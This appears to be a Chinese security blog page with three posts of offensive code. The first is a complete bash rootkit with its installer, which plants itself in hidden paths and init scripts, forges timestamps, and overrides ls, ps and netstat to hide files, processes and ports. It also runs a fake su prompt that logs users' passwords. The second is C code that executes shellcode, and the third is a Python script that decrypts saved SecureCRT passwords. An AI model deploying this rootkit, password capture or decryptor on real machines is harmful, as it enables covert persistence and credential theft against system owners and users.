BR_ROOTKIT_PATH="/usr/include/..."

function br_hookhup()
{
        :
}

function br_daemon()
{
    if ! type nohup >/dev/null; then
                nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1
                [ $? -eq 1 ] && exit
        else
                trap br_hookhup SIGHUP
                $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 &
                [ $? -eq 1 ] && exit
        fi
}

br_daemon

install.sh脚本就是

#!/bin/bash

BR_ROOTKIT_PATH="/usr/include/..."

function br_rootkit()
{
    cp brootkit.sh /etc/profile.d/emacs.sh # 把rootkit脚本拷贝到指定目录, 每次打开一个登录shell的时候都会执行这个脚本
    touch -r /etc/profile.d/vim.sh /etc/profile.d/emacs.sh # 用vim.sh的时间戳来修饰emacs.sh
}

function br_hookhup()
{
    :
}

function main()
{
    mkdir -p $BR_ROOTKIT_PATH -m 0777 # 创建文件夹来存放所有文件
    [ $? -eq 1 ] && exit && echo "mkdir $BR_ROOTKIT_PATH failed."

    cp brootkit.sh br.conf br_config.sh bashbd.sh brscan.sh $BR_ROOTKIT_PATH
    [ $? -eq 1 ] && exit && echo "copy brootkit failed."

    cp brdaemon.sh /etc/rc.d/init.d/brdaemon # 复制控制脚本到系统存放控制脚本的目录
    ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc3.d/S10brdaemon # 在运行级别3的话就启动脚本, 适用Red Hat系列Linux
    [ $? -eq 1 ] && exit && echo "copy brdaemon failed."

    chmod 777 $BR_ROOTKIT_PATH

    if ! type nohup >/dev/null; then
        nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1
        [ $? -eq 1 ] && exit && echo "install backdoor failed."
    else
        trap br_hookhup SIGHUP
        $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 &
        [ $? -eq 1 ] && exit && echo "install backdoor failed."
    fi

    br_rootkit
    [ $? -eq 1 ] && exit && echo "install brootkit failed." || \
        echo "install brootkit successful."
}

main

根据man手册, touch -r的意思如下

-r Use the access and modifications times from the specified file instead of the current time of day.
好了, 到了最后一个脚本, 这个脚本的主要功能就是, 每次用户登录的时候就执行, 它会替换系统命令, 根据配置文件把相关的文件给隐藏掉, 就是这样

#!/bin/bash
# Lightweight rootkit implemented by bash shell scripts v0.01
#
# by wzt 2015   http://www.cloud-sec.org
#

declare -r builtin
declare -r declare
declare -r set
declare -r fake_unset
declare -r type
declare -r typeset

unalias ls >/dev/null 2>&1

BR_ROOTKIT_PATH="/usr/include/..."

function abcdmagic()
{
    :
}

function builtin()
{
    local fake_a fake_b

    unset command
    case $1 in 
        "declare"|"set"|"unset"|"command"|"type"|"typeset")
            fake_a="$(command builtin $1 $2)"
            if [ $2 == " " ];then
                fake_b=${fake_a/br_hide_file\=*/}
            else
                fake_b=${fake_a/\/bin\/ls?()*/}
            fi
            echo -n "$fake_b"
            reset_command
            return ;;
        "builtin")
            echo "bash: builtin: builtin: syntax error, bash($BASH_VERSION) is not support."
            reset_command
            return ;;
        *)
            command builtin $1 $2
            reset_command
            ;;
    esac
}

function declare()
{
    local fake_a fake_b

    unset command
    case $1 in 
        "")
            fake_a="$(command declare $1 $2)"
            fake_b=${fake_a/br_hide_file\=*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        "-f"|"-F")
            fake_a="$(command declare $1 $2)"
            fake_b=${fake_a/\/bin\/ls?()*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        *)
            command declare $1 $2
            reset_command
            return ;;
    esac
}

function typeset()
{
    local fake_a fake_b

    unset command
    case $1 in
        ""|"-f"|"-F")
            fake_a="$(command declare $1 $2)"
            fake_b=${fake_a/br_hide_file\=*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        *)
            command typeset $1 $2
            reset_command
            return ;;
    esac
}

function type()
{
    case $1 in
        "builtin"|"declare"|"set"|"unset"|"type"|"typeset")
            echo "$1 is a shell builtin"
            return ;;
        "dir")
            echo "dir is /usr/bin/dir"
            return ;;
        "ls")
            echo "ls is aliased to ls --color=tty"
            return ;;
        "ps")
            echo "ps is /bin/ps"
            return ;;
        "netstat")
            echo "netstat is hashed (/bin/netstat)"
            return ;;
        "/bin/ls"|"/usr/bin/dir"|"/bin/ps"|"/bin/netstat")
            echo "$1 is $1"
            return ;;
        *)
            unset command
            command type $1 $2
            reset_command
            return ;;
    esac
}

function set()
{
    local fake_a fake_b

    unset command
    case $1 in
        "")
            fake_a="$(command set)"
            fake_b=${fake_a/br_hide_file\=*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        "-x"|"+x")
            return ;;
        *)
            echo $1 $2
            command set $1 $2
            reset_command
            return ;;
    esac
}

function fake_unset()
{
    case $1 in
        "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
            echo "bash: syntax error, bash($BASH_VERSION) is not support."
            return ;;
        *)
            unset $1 $2
            return ;;
    esac
}

function fake_command()
{
    case $1 in
        "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
            echo "bash: syntax error, bash($BASH_VERSION) is not support."
            return ;;
        *)
            unset command
            command $1 $2
            reset_command
            return ;;
    esac
}

function command()
{
    case $1 in
        "builtin")
            builtin $2 $3
            return ;;
        "declare")
            declare $2 $3
            return ;;
        "set")
            set $2 $3
            return ;;
        "unset")
            fake_unset $2 $3
            . brootkit.sh
            return ;;
        "type")
            type $2 $3
            return ;;
        "typeset")
            typeset $2 $3
            return ;;
        "command")
            fake_command $2 $3
            return ;;
        *)
            unset command
            command $2 $3
            . brootkit.sh
            return ;;
    esac
}

function reset_command()
{
    function command()
    {
        case $1 in
            "builtin")
                builtin $2 $3
                return ;;
            "declare")
                declare $2 $3
                return ;;
            "set")
                set $2 $3
                return ;;
            "unset")
                fake_unset $2 $3
                . brootkit.sh
                return ;;
            "type")
                type $2 $3
                return ;;
            "typeset")
                typeset $2 $3
                return ;;
            "command")
                fake_command $2 $3
                return ;;
            *)
                unset command
                command $2 $3
                . brootkit.sh
                return ;;
        esac
    }
}

function su()
{
    local arg_list=("" "-" "-l" "--login"
            "-c" "--command" "--session-command"
            "-f" "--fast"
            "-m" "--preserve-environment" "-p"
            "-s" "--shell=SHELL")
    local flag=0 tmp_arg arg pass

    if [ $UID -eq 0 ]; then
        /bin/su $1; unset su ; return $?
    fi

    for arg in ${arg_list[@]}
    do
        [ "$1" = "$arg" ] && flag=1
    done

    [ $# -eq 0 ] && flag=1

    tmp_arg=$1;tmp_arg=${tmp_arg:0:1};
    [ "$tmp_arg" != "-" -a $flag -eq 0 ] && flag=1

    if [ $flag -ne 1 ];then
        /bin/su $1; return $?
    fi

    [ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`

    echo -ne "Password:\r\033[?25l"
    read -t 30 -s pass
    echo -ne "\033[K\033[?25h"

    /bin/su && unset su && echo $pass >> /tmp/...
}

unalias ls >/dev/null 2>&1

function max_file_length()
{
    local tmp_file sum=0 n=0

    for tmp_file in `/bin/ls $@`
    do
        n=${#tmp_file}
        [ $n -gt $sum ] && sum=$n
    done

    return $sum
}

function ls()
{
    local fake_file max_col_num file_format
    local hide_file hide_flag file_arg old_ifs
    local file_len=0 sum=0 n=0 display_mode=0

    max_col_num=`stty size|cut -d " " -f 2`

    . $BR_ROOTKIT_PATH/br_config.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    for file_arg in $@
    do
        if echo $file_arg|grep -q -e "^-.*l.*"; then
            display_mode=1; break
        fi
    done

    case $display_mode in
    0)
        unset -f /bin/ls
        max_file_length $@
        file_len=$?

        for fake_file in $(/bin/ls $@)
        do
            hide_flag=0
            old_ifs=$IFS; IFS=","
            for hide_file in ${br_hide_file[@]}
            do
                if echo "$fake_file"|grep -e "^$hide_file" >/dev/null;then
                    hide_flag=1; break
                fi
            done
                IFS=$old_ifs

            [ $hide_flag -eq  1 ] && continue

            n=${#fake_file}
            ((sum=sum+n+file_len))

            if [ $sum -gt $max_col_num ];then
                file_format="%-$file_len""s\n"
                printf $file_format $fake_file
                sum=0
            else
                file_format="%-$file_len""s "
                printf $file_format $fake_file
            fi
        done

        [ $sum -le $max_col_num ] && echo ""
        reset_ls
        return ;;
    1)  
        unset -f /bin/ls

        fake_file=`/bin/ls $@`
        old_ifs=$IFS; IFS=","
        for hide_file in ${br_hide_file[@]}
        do
            fake_file=`echo "$fake_file" | sed -e '/'$hide_file'/d'`
        done
        IFS=$old_ifs
        echo "$fake_file"
        reset_ls

        return ;;
    esac
}

function dir()
{
    ls $@
}

function /usr/bin/dir()
{
    unset -f /bin/ls
    ls $@
    reset_ls
}

function reset_ls()
{
    function /bin/ls()
    {
        unset -f /bin/ls
        ls $@
        reset_ls
    }
}

function /bin/ls()
{
    unset -f /bin/ls
    ls $@
    reset_ls
}

function ps()
{
    local proc_name hide_proc old_ifs

    . $BR_ROOTKIT_PATH/br_config.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    old_ifs=$IFS; IFS=","

    proc_name=`/bin/ps $@`
    for hide_proc in ${br_hide_proc[@]}
    do
        proc_name=`echo "$proc_name" | sed -e '/'$hide_proc'/d'`
    done

    echo "$proc_name"
    IFS=$old_ifs
}

function reset_ps()
{
    function /bin/ps()
    {
        unset -f /bin/ps
        ps $@
        reset_ps
    }
}

function /bin/ps()
{
    unset -f /bin/ps
    ps $@
    reset_ps
}

function netstat()
{
    local hide_port tmp_port old_ifs

    . $BR_ROOTKIT_PATH/br_config.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    old_ifs=$IFS; IFS=","
    tmp_port=`/bin/netstat $@`
    for hide_port in ${br_hide_port[@]}
    do
        tmp_port=`echo "$tmp_port" | sed -e '/'$hide_port'/d'`
    done
    echo "$tmp_port"
    IFS=$old_ifs
}

function reset_netstat()
{
    function /bin/netstat()
    {
        unset -f /bin/netstat
        netstat $@
        reset_netstat
    }
}

function /bin/netstat()
{
    unset -f /bin/netstat
    netstat $@
    reset_netstat
}

 

几种用C语言来执行shellcode(其实也就是机器码)的方式

发布时间:June 5, 2015 // 分类:开发笔记,VC/C/C++,代码学习,windows // No Comments

/*   
 *  作者: 冷却   
 *  时间: 2009年2月21日   
 *  E-mail: leng_que@yahoo.com.cn   
 *  描述: 演示几种用C语言来执行shellcode(其实也就是机器码)的方式 
 *  备注:在WindowsXP SP3下测试成功 
 */  
  
//一段打开Windows计算器(calc.exe)的shellcode  
unsigned char shellcode[] =  
"/xb8/x82/x0a/x8d/x38/xd9/xc6/xd9/x74/x24/xf4/x5a/x29/xc9/xb1/x23"  
"/x31/x42/x12/x83/xea/xfc/x03/xc0/x04/x6f/xcd/x38/xf0/x2b/x2e/xc0"  
"/x01/x3f/x6b/xfc/x8a/x43/x71/x84/x8d/x54/xf2/x3b/x96/x21/x5a/xe3"  
"/xa7/xde/x2c/x68/x93/xab/xae/x80/xed/x6b/x29/xf0/x8a/xac/x3e/x0f"  
"/x52/xe6/xb2/x0e/x96/x1c/x38/x2b/x42/xc7/xc5/x3e/x8f/x8c/x99/xe4"  
"/x4e/x78/x43/x6f/x5c/x35/x07/x30/x41/xc8/xfc/x45/x65/x41/x03/xb2"  
"/x1f/x09/x20/x40/xe3/x83/xe8/x2c/x68/xa3/xd8/x29/xae/x5c/x15/xba"  
"/x6f/x91/xae/xcc/x73/x04/x3b/x44/x84/xbd/x35/x1f/x14/xf1/x46/x1f"  
"/x15/x79/x2e/x23/x4a/x4c/x59/x3b/x22/x27/x5d/x38/x0a/x4c/xce/x56"  
"/xf5/x6b/x0c/xd5/x61/x14/x2f/x93/x7c/x73/x2f/x44/xe3/x1a/xa3/xe9"  
"/xe4";  
  
//第一种执行方式  
void exe_1()  
{  
    void (*code)(void);  
    code = (void*)shellcode;  
    code();  
}  
  
//第二种执行方式  
void exe_2()  
{  
    ( (void (*)(void))shellcode )();  
}  
  
//第三种执行方式  
void exe_3()  
{  
    __asm  
    {  
        lea eax,shellcode;  
        jmp eax;  
    }  
}  
  
//第四种执行方式  
void exe_4()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        jmp eax;  
    }  
}  
  
//第五种执行方式  
void exe_5()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        _emit 0xFF;  
        _emit 0xE0;  
    }  
}  
  
//主函数入口  
void main()  
{  
    exe_5();  
} 

 

/* 
 *  作者: 冷却 
 *  时间: 2009年2月21日 
 *  E-mail: leng_que@yahoo.com.cn 
 *  描述: 演示三种用C语言来执行机器码的方式 
 */  
  
#include <stdio.h>  
  
//一段机器码,功能为:对传入的整型参数进行加一操作,然后返回结果。  
unsigned char machineCode[] =  
"/xe9/x07/x00/x00/x00/xcc/xcc/xcc/xcc/xcc/xcc/xcc/x55/x8b/xec/x83/xec/x40/x53/x56"  
"/x57/x8d/x7d/xc0/xb9/x10/x00/x00/x00/xb8/xcc/xcc/xcc/xcc/xf3/xab/x8b/x45/x08/x83"  
"/xc0/x01/x5f/x5e/x5b/x8b/xe5/x5d/xc3";  
  
//第一种执行方式  
void exe_1()  
{  
    int result;  
      
    result = ( (int (*)(int))machineCode )(7);  
      
    printf("%d/r/n",result);  
}  
  
//第二种执行方式  
void exe_2()  
{  
    int result;  
      
    int (*Fun)(int);  
    Fun = (void*)machineCode;  
      
    result = Fun(7);  
      
    printf("%d/r/n",result);  
}  
  
//第三种执行方式  
void exe_3()  
{  
    int result;  
      
    typedef int(*Fun)(int);  
    Fun p=NULL;  
      
    p = (Fun)machineCode;  
      
    result = p(7);  
      
    printf("%d/r/n",result);  
}  
  
//主函数入口  
void main()  
{  
    exe_1();  
    exe_2();  
    exe_3();  
} 

查看 SecureCRT session配置文件中的密码

发布时间:June 2, 2015 // 分类:工作日志,代码学习,windows,python // 3 Comments

在现有SecureCRT session的条件下,还原出已有的密码

from Crypto.Cipher import Blowfish
import argparse
import re

def decrypt(password) :
    c1 = Blowfish.new('5F B0 45 A2 94 17 D9 16 C6 C6 A2 FF 06 41 82 B7'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
    c2 = Blowfish.new('24 A6 3D DE 5B D3 B3 82 9C 7E 06 F4 08 16 AA 07'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
    padded = c1.decrypt(c2.decrypt(password.decode('hex'))[4:-4])
    p = ''
    while padded[:2] != '\x00\x00' :
        p += padded[:2]
        padded = padded[2:]
    return p.decode('UTF-16')

REGEX_HOSTNAME = re.compile(ur'S:"Hostname"=([^\r\n]*)')
REGEX_PASWORD = re.compile(ur'S:"Password"=u([0-9a-f]+)')
REGEX_PORT = re.compile(ur'D:"\[SSH2\] Port"=([0-9a-f]{8})')
REGEX_USERNAME = re.compile(ur'S:"Username"=([^\r\n]*)')

def hostname(x) :
    m = REGEX_HOSTNAME.search(x)
    if m :
        return m.group(1)
    return '???'

def password(x) :
    m = REGEX_PASWORD.search(x)
    if m :
        return decrypt(m.group(1))
    return '???'

def port(x) :
    m = REGEX_PORT.search(x)
    if m :
        return '-p %d '%(int(m.group(1), 16))
    return ''

def username(x) :
    m = REGEX_USERNAME.search(x)
    if m :
        return m.group(1) + '@'
    return ''

parser = argparse.ArgumentParser(description='Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files')
parser.add_argument('files', type=argparse.FileType('r'), nargs='+',
    help='session file(s)')

args = parser.parse_args()

for f in args.files :
    c = f.read().replace('\x00', '')
    print f.name
    print "ssh %s%s%s # %s"%(port(c), username(c), hostname(c), password(c))

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...